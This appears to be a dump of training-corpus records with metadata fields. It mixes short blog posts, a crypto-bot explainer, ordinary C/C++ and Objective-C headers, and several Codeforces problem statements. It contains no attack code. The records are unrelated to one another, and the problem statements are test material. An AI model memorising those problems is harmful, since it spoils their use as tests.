Eclipse. The system has improved performance, expanded tool support, bettery support for Java Web Start (JNLP), and Visual Editor support.\nFor more information and a podcast on the launch, check out this story on Between the Lines.\nPosted by Kerry at 7:47 AM\nSunday, June 26, 2005\nI am not sure what exactly happened today at Blogger, but my mother emailed me asking about my blog and why the Blogroll was gone. I took a look and the template had reverted to the default and lost my changes at some point in the past 36 hours. It is fixed now.\nPosted by Kerry at 12:02 PM\nThursday, June 23, 2005\nEclipse.org has also released the first release candidate for the CDT (C/C++ Development Tools) Project. This is an excellent plugin development environment for Eclipse that gives full C/C++ development and debugging capabilities. CDT 3.0 RC0 runs under Eclipse 3.1 M7 and later.\nPosted by Kerry at 10:09 PM", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 3764, "token_count_with_eod": 3765, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Google Launchpad's Solve For India\nGoogle Launchpad's Solve For India is a four day mentorship program driven by the Google Developer Relations team. The Solve for India initiative aims to nurture developers, tech entrepreneurs and reach, support, mentors across India through in person mentorship.\nThe idea is to help promising startups achieve rapid progress in a short time through focused 1:1 mentorship from Google and Industry Experts. Areas include Product Strategy, UX/UI, Marketing and a special focus in Technology covering Android/Firebase, Web, Cloud.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 109, "token_count_with_eod": 110, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Whiteness is not the authority\nToday: \"Every boss I've ever had has been white. From the moment I got my first job out of college until now. Whiteness is the authority in this nation and has been reinforced in so many ways.\"\nVision: If I could see more people who looked like me in leadership roles, that would be empowering. When you can relate to the person who's the decision-maker, there's more of a cultural sense of community there, a sense of taking care.\nWe need to introduce a new idea: that whiteness is not the authority, and not the only option. Once that idea is learned and trusted, it can become a very fertile concept. It would create some self-belief. It would lead to conversations about \"What else can we change that needs to change?\"", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 170, "token_count_with_eod": 171, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "/* -*- Mode:C++; c-file-style:\"gnu\"; indent-tabs-mode:nil; -*- */\n/*\n * Copyright (c) 2006 INRIA, 2010 NICTA\n *\n * This program is free software; you can redistribute it and/or modify\n * it under the terms of the GNU General Public License version 2 as\n * published by the Free Software Foundation;\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n *\n * Author: Mathieu Lacage <mathieu.lacage@sophia.inria.fr>\n *         Quincy Tse <quincy.tse@nicta.com.au>\n */\n#ifndef NS_ASSERT_H\n#define NS_ASSERT_H\n\n/**\n * \\file\n * \\ingroup assert\n * NS_ASSERT() and NS_ASSERT_MSG() macro definitions\n */\n\n/**\n * \\ingroup debugging\n * \\defgroup assert Assertions\n *\n * \\brief Assert functions and macros\n *\n * The assert macros are used to verify\n * at runtime that a certain condition is true. If it is\n * not true, the program halts. These checks are built\n * into the program only in debugging builds. They are\n * removed in optimized builds.\n *\n * These macro are intended to check certain conditions\n * to be true. Do not put code that also have side effects\n * that your program relies on (eg. code that advances\n * an iterator and return false at end of file) because\n * the code will not be executed on release builds!!\n *\n * If assertion-style checks are required for release\n * builds, use NS_ABORT_UNLESS and NS_ABORT_MSG_UNLESS.\n */\n\n#ifdef NS3_ASSERT_ENABLE\n\n#include <iostream>\n\n#include \"fatal-error.h\"\n\n/**\n * \\ingroup assert\n *\n * At runtime, in debugging builds, if this condition is not\n * true, the program prints the source file, line number and\n * unverified condition and halts by calling std::terminate\n *\n * \\param [in] condition Condition to verify.\n */\n#define NS_ASSERT(condition)                          \\\n  do {                                                \\\n      if (!(condition))                               \\\n        {                                             \\\n          std::cerr << \"assert failed. cond=\\\"\"       \\\n                    << # condition << \"\\\", \";         \\\n          NS_FATAL_ERROR_NO_MSG ();                   \\\n        }                                             \\\n    }  while (false)\n\n\n/**\n * \\ingroup assert\n *\n * At runtime, in debugging builds, if this condition is not\n * true, the program prints the message to output and\n * halts by calling std::terminate.\n *\n * \\param [in] condition Condition to verify.\n * \\param [in] message Message to output\n */\n#define NS_ASSERT_MSG(condition, message)             \\\n  do {                                                \\\n      if (!(condition))                               \\\n        {                                             \\\n          std::cerr << \"assert failed. cond=\\\"\" <<    \\\n            # condition << \"\\\", \";                    \\\n          NS_FATAL_ERROR (message);                   \\\n        }                                             \\\n    } while (false)\n\n#else /* NS3_ASSERT_ENABLE */\n\n#define NS_ASSERT(condition)                          \\\n  do {                                                \\\n      (void)sizeof (condition);                       \\\n    } while (false)\n\n#define NS_ASSERT_MSG(condition, message)             \\\n  do {                                                \\\n      (void)sizeof (condition);                       \\\n    } while (false)\n\n#endif /* NS3_ASSERT_ENABLE */\n\n#endif /* ASSERT_H */", "source": "cpt_stack_code", "language": "code", "token_count": 851, "token_count_with_eod": 852, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Create your own GitHub profile\nSign up for your own profile on GitHub, the best place to host code, manage projects, and build software alongside 31 million developers.Sign up\nReact component for editing JSONs\nForked from joshbuddy/jsonpath\nRuby implementation of http://goessner.net/articles/JsonPath/\nForked from brianmario/mysql2\nA modern, simple and very fast Mysql library for Ruby - binding to libmysql\nForked from net-ssh/net-sftp\nPure Ruby implementation of an SFTP (protocols 1-6) client.\nForked from brianmario/yajl-ruby\nA streaming JSON parsing and encoding library for Ruby (C bindings to yajl)\nForked from BranchMetrics/react-native-branch-deep-linking\n603 contributions in the last year\nCreated a pull request in tomkerkhove/promitor that received 4 comments\nCreated an issue in tomkerkhove/promitor that received 5 comments\nProvide support for scraping metrics for Azure Storage Queue.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 226, "token_count_with_eod": 227, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "William is a huge fan of planning ahead. That is why he starts his morning routine by creating a nested list of upcoming errands.\n\nA valid nested list is any list which can be created from a list with one item \"1\" by applying some operations. Each operation inserts a new item into the list, on a new line, just after one of existing items $$$a_1 \\,.\\, a_2 \\,.\\, a_3 \\,.\\, \\,\\cdots\\, \\,.\\,a_k$$$ and can be one of two types:\n\n1. Add an item $$$a_1 \\,.\\, a_2 \\,.\\, a_3 \\,.\\, \\cdots \\,.\\, a_k \\,.\\, 1$$$ (starting a list of a deeper level), or\n2. Add an item $$$a_1 \\,.\\, a_2 \\,.\\, a_3 \\,.\\, \\cdots \\,.\\, (a_k + 1)$$$ (continuing the current level).\n\nWhen William decided to save a Word document with the list of his errands he accidentally hit a completely different keyboard shortcut from the \"Ctrl-S\" he wanted to hit. It's not known exactly what shortcut he pressed but after triggering it all items in the list were replaced by a single number: the last number originally written in the item number.\n\nWilliam wants you to help him restore a fitting original nested list.", "source": "cpt_codeforces", "language": "en", "token_count": 305, "token_count_with_eod": 306, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Bear Limak wants to become the largest of bears, or at least to become larger than his brother Bob.\n\nRight now, Limak and Bob weigh a and b respectively. It's guaranteed that Limak's weight is smaller than or equal to his brother's weight.\n\nLimak eats a lot and his weight is tripled after every year, while Bob's weight is doubled after every year.\n\nAfter how many full years will Limak become strictly larger (strictly heavier) than Bob?", "source": "cpt_codeforces", "language": "en", "token_count": 101, "token_count_with_eod": 102, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "executive assistant resume free resumes sample personal.\nexecutive assistant resume example companion sample personal.\nentry level admin resume sample personal assistant for to ceo.\noffice assistant personal summary resume samples care job sample executive.\npersonal assistant resume writing guide templates sample executive example.\noffice assistant resume sample administrative personal australia.\npersonal assistant resume sample luxury administrative for to ceo.\nresume personal example coloring assistant sample position.\nbest executive assistant resume example sample personal position.\nexecutive assistant resume example companion sample personal nanny.\nfree 6 sample executive assistant resume templates in personal.\nsales administrative assistant resume samples sample personal example.\nfree 8 sample personal assistant resume templates in ms word executive example.\ntop 8 virtual assistant resume samples sample personal care.\npersonal assistant resume examples created by pros sample best.\npersonal assistant sample resume position.\nfree administrative assistant resume samples template lab sample personal executive example.\nsample medical administrative assistant resume personal executive.\npersonal care assistant resume examples free to try today sample best.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 208, "token_count_with_eod": 209, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "In this episode of Podcast Tactics, you will get podcasting tips and advice from a solo podcaster that created a show where he shares insightful thoughts, opinions, and ideas on a wide variety of topics.\nMake sure you join the mailing list at https://podcasttactics.com/ to keep learning how to podcast, get inspired, and stay motivated!\nRemember to share what you got out of my conversation with Giridhar by leaving a review at https://www.podchaser.com/PodcastTactics\nLearn More about Giridhar and His Show “Giridhar's Garady”\nEpisode recorded on February 21, 2021.\nMusic by Valence - Infinite [NCS Release]", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 150, "token_count_with_eod": 151, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "#ifndef SENSOR_BOARD_HARDWARE_TEST_HELPER_H\n#define SENSOR_BOARD_HARDWARE_TEST_HELPER_H\n\nvoid connectToNetwork(void);\n\nvoid connectToMQTT(void);\n\nvoid initHardwareTest(void);\n\n_Noreturn void enterBootModeTaskHardwareTest(void);\n\n#endif //SENSOR_BOARD_HARDWARE_TEST_HELPER_H", "source": "cpt_stack_code", "language": "code", "token_count": 62, "token_count_with_eod": 63, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "The faint-hearted cannot watch this video to the end.\nThis woman appeared unfazed as she captured a huge snake with her bare hands.\nFootage that has surfaced online shows the woman successfully catching the snake and walking away with it coiled around her waist – a sight that’s enough to give goosebumps to anyone scared of serpents. The footage was filmed by onlookers in Vietnam who came across the woman and decided to record her in action.\n“We were on the street when we saw this woman trying to catch a big snake. We decided to stop to record this moment. It looks dangerous,” the onlookers were quoted as saying by video licensor ViralHog.\nIn the 48-second clip, the woman is seen wearing a mask on her face and a helmet on her head. Her hands, however, were bare as she handled the squirming snake. After a struggle of a few seconds, the woman managed to subdue the reptile. She was then filmed walking away with the snake coiling itself around her waist and shoulders.\nIn the comments section on YouTube, many agreed that the woman was far braver than them. “I could never,” declared one viewer. “See, I love snakes and I want to do this. I just kinda don’t have enough courage to do it yet,” another said.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "#ifndef _ROS_jsk_recognition_msgs_Object_h\n#define _ROS_jsk_recognition_msgs_Object_h\n\n#include <stdint.h>\n#include <string.h>\n#include <stdlib.h>\n#include \"ros/msg.h\"\n#include \"geometry_msgs/Vector3.h\"\n\nnamespace jsk_recognition_msgs\n{\n\n  class Object : public ros::Msg\n  {\n    public:\n      typedef int32_t _id_type;\n      _id_type id;\n      typedef const char* _name_type;\n      _name_type name;\n      typedef int32_t _class_id_type;\n      _class_id_type class_id;\n      typedef const char* _class_name_type;\n      _class_name_type class_name;\n      uint32_t image_resources_length;\n      typedef char* _image_resources_type;\n      _image_resources_type st_image_resources;\n      _image_resources_type * image_resources;\n      typedef const char* _mesh_resource_type;\n      _mesh_resource_type mesh_resource;\n      typedef float _weight_type;\n      _weight_type weight;\n      typedef geometry_msgs::Vector3 _dimensions_type;\n      _dimensions_type dimensions;\n\n    Object():\n      id(0),\n      name(\"\"),\n      class_id(0),\n      class_name(\"\"),\n      image_resources_length(0), image_resources(NULL),\n      mesh_resource(\"\"),\n      weight(0),\n      dimensions()\n    {\n    }\n\n    virtual int serialize(unsigned char *outbuffer) const\n    {\n      int offset = 0;\n      union {\n        int32_t real;\n        uint32_t base;\n      } u_id;\n      u_id.real = this->id;\n      *(outbuffer + offset + 0) = (u_id.base >> (8 * 0)) & 0xFF;\n      *(outbuffer + offset + 1) = (u_id.base >> (8 * 1)) & 0xFF;\n      *(outbuffer + offset + 2) = (u_id.base >> (8 * 2)) & 0xFF;\n      *(outbuffer + offset + 3) = (u_id.base >> (8 * 3)) & 0xFF;\n      offset += sizeof(this->id);\n      uint32_t length_name = strlen(this->name);\n      varToArr(outbuffer + offset, length_name);\n      offset += 4;\n      memcpy(outbuffer + offset, this->name, length_name);\n      offset += length_name;\n      union {\n        int32_t real;\n        uint32_t base;\n      } u_class_id;\n      u_class_id.real = this->class_id;\n      *(outbuffer + offset + 0) = (u_class_id.base >> (8 * 0)) & 0xFF;\n      *(outbuffer + offset + 1) = (u_class_id.base >> (8 * 1)) & 0xFF;\n      *(outbuffer + offset + 2) = (u_class_id.base >> (8 * 2)) & 0xFF;\n      *(outbuffer + offset + 3) = (u_class_id.base >> (8 * 3)) & 0xFF;\n      offset += sizeof(this->class_id);\n      uint32_t length_class_name = strlen(this->class_name);\n      varToArr(outbuffer + offset, length_class_name);\n      offset += 4;\n      memcpy(outbuffer + offset, this->class_name, length_class_name);\n      offset += length_class_name;\n      *(outbuffer + offset + 0) = (this->image_resources_length >> (8 * 0)) & 0xFF;\n      *(outbuffer + offset + 1) = (this->image_resources_length >> (8 * 1)) & 0xFF;\n      *(outbuffer + offset + 2) = (this->image_resources_length >> (8 * 2)) & 0xFF;\n      *(outbuffer + offset + 3) = (this->image_resources_length >> (8 * 3)) & 0xFF;\n      offset += sizeof(this->image_resources_length);\n      for( uint32_t i = 0; i < image_resources_length; i++){\n      uint32_t length_image_resourcesi = strlen(this->image_resources[i]);\n      varToArr(outbuffer + offset, length_image_resourcesi);\n      offset += 4;\n      memcpy(outbuffer + offset, this->image_resources[i], length_image_resourcesi);\n      offset += length_image_resourcesi;\n      }\n      uint32_t length_mesh_resource = strlen(this->mesh_resource);\n      varToArr(outbuffer + offset, length_mesh_resource);\n      offset += 4;\n      memcpy(outbuffer + offset, this->mesh_resource, length_mesh_resource);\n      offset += length_mesh_resource;\n      union {\n        float real;\n        uint32_t base;\n      } u_weight;\n      u_weight.real = this->weight;\n      *(outbuffer + offset + 0) = (u_weight.base >> (8 * 0)) & 0xFF;\n      *(outbuffer + offset + 1) = (u_weight.base >> (8 * 1)) & 0xFF;\n      *(outbuffer + offset + 2) = (u_weight.base >> (8 * 2)) & 0xFF;\n      *(outbuffer + offset + 3) = (u_weight.base >> (8 * 3)) & 0xFF;\n      offset += sizeof(this->weight);\n      offset += this->dimensions.serialize(outbuffer + offset);\n      return offset;\n    }\n\n    virtual int deserialize(unsigned char *inbuffer)\n    {\n      int offset = 0;\n      union {\n        int32_t real;\n        uint32_t base;\n      } u_id;\n      u_id.base = 0;\n      u_id.base |= ((uint32_t) (*(inbuffer + offset + 0))) << (8 * 0);\n      u_id.base |= ((uint32_t) (*(inbuffer + offset + 1))) << (8 * 1);\n      u_id.base |= ((uint32_t) (*(inbuffer + offset + 2))) << (8 * 2);\n      u_id.base |= ((uint32_t) (*(inbuffer + offset + 3))) << (8 * 3);\n      this->id = u_id.real;\n      offset += sizeof(this->id);\n      uint32_t length_name;\n      arrToVar(length_name, (inbuffer + offset));\n      offset += 4;\n      for(unsigned int k= offset; k< offset+length_name; ++k){\n          inbuffer[k-1]=inbuffer[k];\n      }\n      inbuffer[offset+length_name-1]=0;\n      this->name = (char *)(inbuffer + offset-1);\n      offset += length_name;\n      union {\n        int32_t real;\n        uint32_t base;\n      } u_class_id;\n      u_class_id.base = 0;\n      u_class_id.base |= ((uint32_t) (*(inbuffer + offset + 0))) << (8 * 0);\n      u_class_id.base |= ((uint32_t) (*(inbuffer + offset + 1))) << (8 * 1);\n      u_class_id.base |= ((uint32_t) (*(inbuffer + offset + 2))) << (8 * 2);\n      u_class_id.base |= ((uint32_t) (*(inbuffer + offset + 3))) << (8 * 3);\n      this->class_id = u_class_id.real;\n      offset += sizeof(this->class_id);\n      uint32_t length_class_name;\n      arrToVar(length_class_name, (inbuffer + offset));\n      offset += 4;\n      for(unsigned int k= offset; k< offset+length_class_name; ++k){\n          inbuffer[k-1]=inbuffer[k];\n      }\n      inbuffer[offset+length_class_name-1]=0;\n      this->class_name = (char *)(inbuffer + offset-1);\n      offset += length_class_name;\n      uint32_t image_resources_lengthT = ((uint32_t) (*(inbuffer + offset))); \n      image_resources_lengthT |= ((uint32_t) (*(inbuffer + offset + 1))) << (8 * 1); \n      image_resources_lengthT |= ((uint32_t) (*(inbuffer + offset + 2))) << (8 * 2); \n      image_resources_lengthT |= ((uint32_t) (*(inbuffer + offset + 3))) << (8 * 3); \n      offset += sizeof(this->image_resources_length);\n      if(image_resources_lengthT > image_resources_length)\n        this->image_resources = (char**)realloc(this->image_resources, image_resources_lengthT * sizeof(char*));\n      image_resources_length = image_resources_lengthT;\n      for( uint32_t i = 0; i < image_resources_length; i++){\n      uint32_t length_st_image_resources;\n      arrToVar(length_st_image_resources, (inbuffer + offset));\n      offset += 4;\n      for(unsigned int k= offset; k< offset+length_st_image_resources; ++k){\n          inbuffer[k-1]=inbuffer[k];\n      }\n      inbuffer[offset+length_st_image_resources-1]=0;\n      this->st_image_resources = (char *)(inbuffer + offset-1);\n      offset += length_st_image_resources;\n        memcpy( &(this->image_resources[i]), &(this->st_image_resources), sizeof(char*));\n      }\n      uint32_t length_mesh_resource;\n      arrToVar(length_mesh_resource, (inbuffer + offset));\n      offset += 4;\n      for(unsigned int k= offset; k< offset+length_mesh_resource; ++k){\n          inbuffer[k-1]=inbuffer[k];\n      }\n      inbuffer[offset+length_mesh_resource-1]=0;\n      this->mesh_resource = (char *)(inbuffer + offset-1);\n      offset += length_mesh_resource;\n      union {\n        float real;\n        uint32_t base;\n      } u_weight;\n      u_weight.base = 0;\n      u_weight.base |= ((uint32_t) (*(inbuffer + offset + 0))) << (8 * 0);\n      u_weight.base |= ((uint32_t) (*(inbuffer + offset + 1))) << (8 * 1);\n      u_weight.base |= ((uint32_t) (*(inbuffer + offset + 2))) << (8 * 2);\n      u_weight.base |= ((uint32_t) (*(inbuffer + offset + 3))) << (8 * 3);\n      this->weight = u_weight.real;\n      offset += sizeof(this->weight);\n      offset += this->dimensions.deserialize(inbuffer + offset);\n     return offset;\n    }\n\n    const char * getType(){ return \"jsk_recognition_msgs/Object\"; };\n    const char * getMD5(){ return \"57c53e712043df0244b0482d0447adee\"; };\n\n  };\n\n}\n#endif", "source": "cpt_stack_code", "language": "code", "token_count": 2485, "token_count_with_eod": 2486, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "The crypto trading bots are computer programs that automate the process of buying and selling cryptocurrency on exchange. They are developed to execute trades based on the predefined rules and algorithms. These could include indicators such as moving averages and relative strength indexes, and Fibonacci retracements.\nThe use of trading bots has become more prominent in the crypto market, as they can help traders make better decisions and make trades quicker than if they perform the task manually. Bots also work 24/7, which allows traders to benefit from opportunities even when not actively watching the market.\nThere are two main kinds of trading bots for crypto: pre-programmed bots and custom-built bots. Pre-programmed bots are readily available and quickly downloaded from the internet. They typically come with a set of predefined strategies and can be used with little set-up. Custom-built bots, on contrary, are constructed entirely from scratch and customized to meet the specific needs of the trader’s requirements.\nBots for trading work by connecting to an exchange’s API (Application Programming Interface), which allows them to make orders through the exchange. The bot is then able to keep track of the market and make trades based on its predetermined rules. For instance, a trader might set the bot to purchase a cryptocurrency when its price falls below a certain level and sell it once it rises above a certain level.\nThere are many advantages of using a bot to trade. The most significant is the ability to execute trades faster as a person be able to. Additionally, bots can be programmed to be able to monitor different markets and make trades on multiple exchanges, which can help traders diversify their portfolios and boost their potential profits.\nHowever, it is important to keep in mind that trading bots cannot be guaranteed to be 100% reliable and their performance will be contingent on market conditions as well as the quality of their programming. Additionally, bots may not be able to respond to sudden market events as quickly or as effectively as a human trader would.\nIt’s also worth mentioning that trading in crypto is an extremely speculative business and the market is extremely unstable, so the use of trading bots can cause significant losses and gains. It’s crucial to know the risks and conduct your own research prior to making use of any trading bot.\nIn the end, it is crucial to keep in mind that the use of trading bots could be subject to regulatory and legal restrictions in certain regions. It is the responsibility of the trader to ensure that they are in compliance with the laws and regulations in force before using a trading bot.\nIn the end, cryptocurrency trading bots are beneficial to traders, helping them make better decisions and complete trades faster. However, it is important to know the risks and to use these tools with caution as their performance will depend on the market conditions as well as the quality of their software. It is also important to ensure compliance with the laws and regulations that apply to you.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 585, "token_count_with_eod": 586, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "AJAX is officially an entrenched technolgy buzzword. We've finally got Jacob Nielson intoning on his Weblog, \"AJAX Sucks Most of the Time\". At least he did put that qualifier in there.\nI'm always inclined to take what Nielson says with a grain of salt, but I have to say I think he's right on target in this post. And he even shows a remarkable ability to adjust a previous position:\nFor new or inexperienced Web designers, I stand by my original recommendation. Ajax: Just Say No.\nWith respect to the use of ajax by highly skilled Web designers, I have changed my opinion somewhat: people who really know what they are doing can sometimes use ajax to good effect, though even experienced designers are advised to use ajax as sparingly as possible.\nOf course given that fact that my primary occupation at the moment is creating a Web application entirely in AJAX, I can't really get behind that \"sparingly as possible\" bit.\nAnd Nielson seems still to be stuck on what he describes as issues with \"the current implementation of ajax pages\" -- a really \"Web 1.0\" way of thinking about the Web, as a collection of pages. The so-called Web 2.0 thinking of course is of the Web as a collection of applications.\nNonetheless, some of the points he raises are valid -- issues with mobile-device users, printing, and search engines. He also of course raises the standard-issue problem of the \"AJAX Back button problem.\"\nIn some contexts of course, there is no Back button, and no \"back\" to go to. You find this in the newer kinds of Web applications that are working together to create the next iteration of the Web. And \"skimping on the pate\" of AJAX technologies isn't going to get that job done", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 378, "token_count_with_eod": 379, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Hi. How should I load assets from memory buffers instead of URLs? Pardon this probably naive question, but I’m new to JS as well as Babylonjs.\nUse case: Files are present in memory (ArrayBuffer) either as a result of procedural computation (mostly audio, synth) or mapped from a tar container fetched by XHR.\n@bghgary has an amazing sample for it\nThis should help Help needed for loading gltf with blob or arraybuffer\n@PirateJC I guess we definitely need smthg in the doc for it\nURL.createObjectURL … what a handy solution, quite unintuitive from a non-webdev perspective. no wonder my searches didn’t turn anything up thanks a lot!\nSorry for the delay,\nNew doc added to highlight how to do this.\nThanks to @bghgary for the help in figuring out the right thing to say.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 183, "token_count_with_eod": 184, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "This is an unusual problem in an unusual contest, here is the announcement: http://codeforces.com/blog/entry/73543\n\nYou are given a table $$$A$$$ of integers $$$n \\times m$$$. The cell $$$(x, y)$$$ is called Nash equilibrium if both of the following conditions hold:\n\n- for each $$$x_1 \\neq x$$$ $$$A_{xy} > A_{x_1y}$$$;\n- for each $$$y_1 \\neq y$$$ $$$A_{xy} < A_{xy_1}$$$.\n\nFind a Nash equilibrium in $$$A$$$. If there exist several equilibria, print the one with minimum $$$x$$$. If still there are several possible answers, print the one with minimum $$$y$$$.", "source": "cpt_codeforces", "language": "en", "token_count": 166, "token_count_with_eod": 167, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "You are given two integers $$$n$$$ and $$$m$$$ ($$$m < n$$$). Consider a convex regular polygon of $$$n$$$ vertices. Recall that a regular polygon is a polygon that is equiangular (all angles are equal in measure) and equilateral (all sides have the same length).\n\nExamples of convex regular polygons\n\nYour task is to say if it is possible to build another convex regular polygon with $$$m$$$ vertices such that its center coincides with the center of the initial polygon and each of its vertices is some vertex of the initial polygon.\n\nYou have to answer $$$t$$$ independent test cases.", "source": "cpt_codeforces", "language": "en", "token_count": 127, "token_count_with_eod": 128, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Pak Chanek has a directed acyclic graph (a directed graph that does not have any cycles) containing $$$N$$$ vertices. Vertex $$$i$$$ has $$$S_i$$$ edges directed away from that vertex. The $$$j$$$-th edge of vertex $$$i$$$ that is directed away from it, is directed towards vertex $$$L_{i,j}$$$ and has an integer $$$W_{i,j}$$$ ($$$0\\leq W_{i,j}\\leq1$$$). Another information about the graph is that the graph is shaped in such a way such that each vertex can be reached from vertex $$$1$$$ via zero or more directed edges.\n\nPak Chanek has an array $$$Z$$$ that is initially empty.\n\nPak Chanek defines the function dfs as follows:\n\nNote that the function does not keep track of which vertices have been visited, so each vertex can be processed more than once.\n\nLet's say Pak Chanek does dfs(1) once. After that, Pak Chanek will get an array $$$Z$$$ containing some elements $$$0$$$ or $$$1$$$. Define an inversion in array $$$Z$$$ as a pair of indices $$$(x, y)$$$ ($$$x < y$$$) such that $$$Z_x > Z_y$$$. How many different inversions in $$$Z$$$ are there if Pak Chanek does dfs(1) once? Since the answer can be very big, output the answer modulo $$$998\\,244\\,353$$$.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "/*\n                       * This header is generated by classdump-dyld 1.5\n                       * on Wednesday, October 27, 2021 at 3:22:53 PM Mountain Standard Time\n                       * Operating System: Version 13.5.1 (Build 17F80)\n                       * Image Source: /System/Library/PrivateFrameworks/SetupAssistantSupport.framework/SetupAssistantSupport\n                       * classdump-dyld is licensed under GPLv3, Copyright © 2013-2016 by Elias Limneos. Updated by Kevin Bradley.\n                       */\n\n#import <SetupAssistantSupport/SASProximityAction.h>\n\n@class SASProximityInformation;\n\n@interface SASProximityInformationAction : SASProximityAction {\n\n\tSASProximityInformation* _information;\n\n}\n\n@property (retain) SASProximityInformation * information;              //@synthesize information=_information - In the implementation block\n+(unsigned long long)actionID;\n-(id)init;\n-(BOOL)hasResponse;\n-(void)setInformation:(SASProximityInformation *)arg1 ;\n-(SASProximityInformation *)information;\n-(id)responsePayload;\n-(void)setResponseFromData:(id)arg1 ;\n@end", "source": "cpt_stack_code", "language": "code", "token_count": 264, "token_count_with_eod": 265, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Grand Opening of Club Nihon Simulation!!\nAfter hacking code for sometime, this site is finally up and running. Since in the mean time, I can only provide information on the games I have, and a large part of my Japanese wargames collection (17 games total, with 15 SF and Anime games) are mainly Sci-Fi Anime games, therefore the historical game portion is not open yet. Only the SF Anime games portion has information on those games that I have. If you have interesting information to share to the wargaming community about Japanese wargames, please email me. I will try to update this site once a week, if enough imformation comes by. So feel free to send me any corrections, comments or new information. Also please help spread the words and news to anybody who are interested in Japanese wargames. Thanks and come by often.\nHelp Needed: I do need some help in translating into English, the rules of some of those wargames that I have (\nmy Japanese is very minimal, as I can only understand a little bit of it). If you are interested in helping, please\nemail me. Thanks.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 238, "token_count_with_eod": 239, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "You have a new professor of graph theory and he speaks very quickly. You come up with the following plan to keep up with his lecture and make notes.\n\nYou know two languages, and the professor is giving the lecture in the first one. The words in both languages consist of lowercase English characters, each language consists of several words. For each language, all words are distinct, i.e. they are spelled differently. Moreover, the words of these languages have a one-to-one correspondence, that is, for each word in each language, there exists exactly one word in the other language having has the same meaning.\n\nYou can write down every word the professor says in either the first language or the second language. Of course, during the lecture you write down each word in the language in which the word is shorter. In case of equal lengths of the corresponding words you prefer the word of the first language.\n\nYou are given the text of the lecture the professor is going to read. Find out how the lecture will be recorded in your notes.", "source": "cpt_codeforces", "language": "en", "token_count": 210, "token_count_with_eod": 211, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "In the house where Krosh used to live, he had $$$n$$$ cupboards standing in a line, the $$$i$$$-th cupboard had the height of $$$h_i$$$. Krosh moved recently, but he wasn't able to move the cupboards with him. Now he wants to buy $$$n$$$ new cupboards so that they look as similar to old ones as possible.\n\nKrosh does not remember the exact heights of the cupboards, but for every three consecutive cupboards he remembers the height difference between the tallest and the shortest of them. In other words, if the cupboards' heights were $$$h_1, h_2, \\ldots, h_n$$$, then Krosh remembers the values $$$w_i = \\max(h_{i}, h_{i + 1}, h_{i + 2}) - \\min(h_{i}, h_{i + 1}, h_{i + 2})$$$ for all $$$1 \\leq i \\leq n - 2$$$.\n\nKrosh wants to buy such $$$n$$$ cupboards that all the values $$$w_i$$$ remain the same. Help him determine the required cupboards' heights, or determine that he remembers something incorrectly and there is no suitable sequence of heights.", "source": "cpt_codeforces", "language": "en", "token_count": 263, "token_count_with_eod": 264, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "RSVP & Save the Date\nThe Fruit Fast\nLet's do the Fruit Fast together! Join us LIVE during 9 days of fasting for more of God's power and presence hosted by Author, Karolyne Roberts. To participate, purchase the Fruit Fast video book or signature bundle and use the form above to register.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 65, "token_count_with_eod": 66, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Xenia the programmer has a tree consisting of n nodes. We will consider the tree nodes indexed from 1 to n. We will also consider the first node to be initially painted red, and the other nodes — to be painted blue.\n\nThe distance between two tree nodes v and u is the number of edges in the shortest path between v and u.\n\nXenia needs to learn how to quickly execute queries of two types:\n\n1. paint a specified blue node in red;\n2. calculate which red node is the closest to the given one and print the shortest distance to the closest red node.\n\nYour task is to write a program which will execute the described queries.", "source": "cpt_codeforces", "language": "en", "token_count": 138, "token_count_with_eod": 139, "validation_channel": "code", "validation_source": "cpt_codeforces"}
